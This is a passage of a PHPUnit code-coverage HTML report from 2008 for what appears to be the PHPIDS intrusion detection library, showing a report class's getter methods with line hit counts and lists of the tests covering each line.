id="line177"> 177</a> </span> : * @return array -<span class="lineNum" id="container178"><a name="178"></a><a href="#178" id="line178"> 178</a> </span> : */ -<span class="lineNum" id="container179"><a name="179"></a><a href="#179" id="line179"> 179</a> </span> : public function getTags() -<span class="lineNum" id="container180"><a name="180"></a><a href="#180" id="line180"> 180</a> </span> : { -<span class="lineNum" id="container181"><a name="181"></a><a href="#181" id="line181"> 181</a> </span><span class="lineCov"> 4 : $filters = $this->getFilters(); </span> -<span class="lineNum" id="container182"><a name="182"></a><a href="#182" id="line182"> 182</a> </span> : -<span class="lineNum" id="container183"><a name="183"></a><a href="#183" id="line183"> 183</a> </span><span class="lineCov"> 4 : foreach ($filters as $filter) { </span> -<span class="lineNum" id="container184"><a name="184"></a><a href="#184" id="line184"> 184</a> </span><span class="lineCov"> 4 : $this->tags = array_merge($this->tags, </span> -<span class="lineNum" id="container185"><a name="185"></a><a href="#185" id="line185"> 185</a> </span><span class="lineCov"> 4 : $filter->getTags()); </span> -<span class="lineNum" id="container186"><a name="186"></a><a href="#186" id="line186"> 186</a> </span><span class="lineCov"> 4 : } </span> -<span class="lineNum" id="container187"><a name="187"></a><a href="#187" id="line187"> 187</a> </span> : -<span class="lineNum" id="container188"><a name="188"></a><a href="#188" id="line188"> 188</a> </span><span class="lineCov"> 4 : $this->tags = array_values(array_unique($this->tags)); </span> -<span class="lineNum" id="container189"><a name="189"></a><a href="#189" id="line189"> 189</a> </span> : -<span class="lineNum" id="container190"><a name="190"></a><a href="#190" id="line190"> 190</a> </span><span class="lineCov"> 4 : return $this->tags; </span> -<span class="lineNum" id="container191"><a name="191"></a><a href="#191" id="line191"> 191</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container192"><a name="192"></a><a href="#192" id="line192"> 192</a> </span> : -<span class="lineNum" id="container193"><a name="193"></a><a href="#193" id="line193"> 193</a> </span> : /** -<span class="lineNum" id="container194"><a name="194"></a><a href="#194" id="line194"> 194</a> </span> : * Returns list of filter objects -<span class="lineNum" id="container195"><a name="195"></a><a href="#195" id="line195"> 195</a> </span> : * -<span class="lineNum" id="container196"><a name="196"></a><a href="#196" id="line196"> 196</a> </span> : * @return array -<span class="lineNum" id="container197"><a name="197"></a><a href="#197" id="line197"> 197</a> </span> : */ -<span class="lineNum" id="container198"><a name="198"></a><a href="#198" id="line198"> 198</a> </span> : public function getFilters() -<span class="lineNum" id="container199"><a name="199"></a><a href="#199" id="line199"> 199</a> </span> : { -<span class="lineNum" id="container200"><a name="200"></a><a href="#200" id="line200"> 200</a> </span><span class="lineCov"> 9 : return $this->filters; </span> -<span class="lineNum" id="container201"><a name="201"></a><a href="#201" id="line201"> 201</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container202"><a name="202"></a><a href="#202" id="line202"> 202</a> </span> : -<span class="lineNum" id="container203"><a name="203"></a><a href="#203" id="line203"> 203</a> </span> : /** -<span class="lineNum" id="container204"><a name="204"></a><a href="#204" id="line204"> 204</a> </span> : * Returns number of filters -<span class="lineNum" id="container205"><a name="205"></a><a href="#205" id="line205"> 205</a> </span> : * -<span class="lineNum" id="container206"><a name="206"></a><a href="#206" id="line206"> 206</a> </span> : * To implement interface Countable this returns the number of filters -<span class="lineNum" id="container207"><a name="207"></a><a href="#207" id="line207"> 207</a> </span> : * appended. -<span class="lineNum" id="container208"><a name="208"></a><a href="#208" id="line208"> 208</a> </span> : * -<span class="lineNum" id="container209"><a name="209"></a><a href="#209" id="line209"> 209</a> </span> : * @return integer -<span class="lineNum" id="container210"><a name="210"></a><a href="#210" id="line210"> 210</a> </span> : */ -<span class="lineNum" id="container211"><a name="211"></a><a href="#211" id="line211"> 211</a> </span> : public function count() -<span class="lineNum" id="container212"><a name="212"></a><a href="#212" id="line212"> 212</a> </span> : { -<span class="lineNum" id="container213"><a name="213"></a><a href="#213" id="line213"> 213</a> </span><span class="lineCov"> 2 : return count($this->getFilters()); </span> -<span class="lineNum" id="container214"><a name="214"></a><a href="#214" id="line214"> 214</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container215"><a name="215"></a><a href="#215" id="line215"> 215</a> </span> : -<span class="lineNum" id="container216"><a name="216"></a><a href="#216" id="line216"> 216</a> </span> : /** -<span class="lineNum" id="container217"><a name="217"></a><a href="#217" id="line217"> 217</a> </span> : * IteratorAggregate iterator getter -<span class="lineNum" id="container218"><a name="218"></a><a href="#218" id="line218"> 218</a> </span> : * -<span class="lineNum" id="container219"><a name="219"></a><a href="#219" id="line219"> 219</a> </span> : * Returns an iterator to iterate over the appended filters. -<span class="lineNum" id="container220"><a name="220"></a><a href="#220" id="line220"> 220</a> </span> : * -<span class="lineNum" id="container221"><a name="221"></a><a href="#221" id="line221"> 221</a> </span> : * @return Iterator|IteratorAggregate -<span class="lineNum" id="container222"><a name="222"></a><a href="#222" id="line222"> 222</a> </span> : */ -<span class="lineNum" id="container223"><a name="223"></a><a href="#223" id="line223"> 223</a> </span> : public function getIterator() -<span class="lineNum" id="container224"><a name="224"></a><a href="#224" id="line224"> 224</a> </span> : { -<span class="lineNum" id="container225"><a name="225"></a><a href="#225" id="line225"> 225</a> </span><span class="lineCov"> 3 : return new ArrayObject($this->getFilters()); </span> -<span class="lineNum" id="container226"><a name="226"></a><a href="#226" id="line226"> 226</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container227"><a name="227"></a><a href="#227" id="line227"> 227</a> </span> : } -<span class="lineNum" id="container228"><a name="228"></a><a href="#228" id="line228"> 228</a> </span> : -<span class="lineNum" id="container229"><a name="229"></a><a href="#229" id="line229"> 229</a> </span> : /* -<span class="lineNum" id="container230"><a name="230"></a><a href="#230" id="line230"> 230</a> </span> : * Local variables: -<span class="lineNum" id="container231"><a name="231"></a><a href="#231" id="line231"> 231</a> </span> : * tab-width: 4 -<span class="lineNum" id="container232"><a name="232"></a><a href="#232" id="line232"> 232</a> </span> : * c-basic-offset: 4 -<span class="lineNum" id="container233"><a name="233"></a><a href="#233" id="line233"> 233</a> </span> : * End: -<span class="lineNum" id="container234"><a name="234"></a><a href="#234" id="line234"> 234</a> </span> : */ - -</pre> - </td> - </tr> - </table> - - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - <tr><td class="versionInfo">Generated by <a href="http://www.phpunit.de/">PHPUnit 3.3.1</a> and <a href="http://www.xdebug.org/">Xdebug 2.1.0-dev</a> at Mon Dec 22 13:57:42 CET 2008.</td></tr> - </table> - - <br /> - - <script language="javascript"> - $E = YAHOO.util.Event; - YAHOO.namespace("phpunit.container"); - YAHOO.phpunit.container.panelsData = { - "panel108": { - "header": "58 tests cover line 108", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testName(IDS_EventTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li><li class=\"testPassed\">testIterator(IDS_EventTest)</li><li class=\"testPassed\">testCount(IDS_EventTest)</li><li class=\"testPassed\">testCopy(IDS_EventTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel109": { - "header": "1 test covers line 109", - "body": "<ul><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel110": { - "header": "1 test covers line 110", - "body": "<ul><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel111": { - "header": "1 test covers line 111", - "body": "<ul><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel114": { - "header": "58 tests cover line 114", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testName(IDS_EventTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li><li class=\"testPassed\">testIterator(IDS_EventTest)</li><li class=\"testPassed\">testCount(IDS_EventTest)</li><li class=\"testPassed\">testCopy(IDS_EventTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel115": { - "header": "1 test covers line 115", - "body": "<ul><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel116": { - "header": "1 test covers line 116", - "body": "<ul><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel117": { - "header": "1 test covers line 117", - "body": "<ul><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel120": { - "header": "58 tests cover line 120", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testName(IDS_EventTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li><li class=\"testPassed\">testIterator(IDS_EventTest)</li><li class=\"testPassed\">testCount(IDS_EventTest)</li><li class=\"testPassed\">testCopy(IDS_EventTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel121": { - "header": "58 tests cover line 121", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testName(IDS_EventTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li><li class=\"testPassed\">testIterator(IDS_EventTest)</li><li class=\"testPassed\">testCount(IDS_EventTest)</li><li class=\"testPassed\">testCopy(IDS_EventTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel123": { - "header": "58 tests cover line 123", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testName(IDS_EventTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li><li class=\"testPassed\">testIterator(IDS_EventTest)</li><li class=\"testPassed\">testCount(IDS_EventTest)</li><li class=\"testPassed\">testCopy(IDS_EventTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel124": { - "header": "58 tests cover line 124", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li 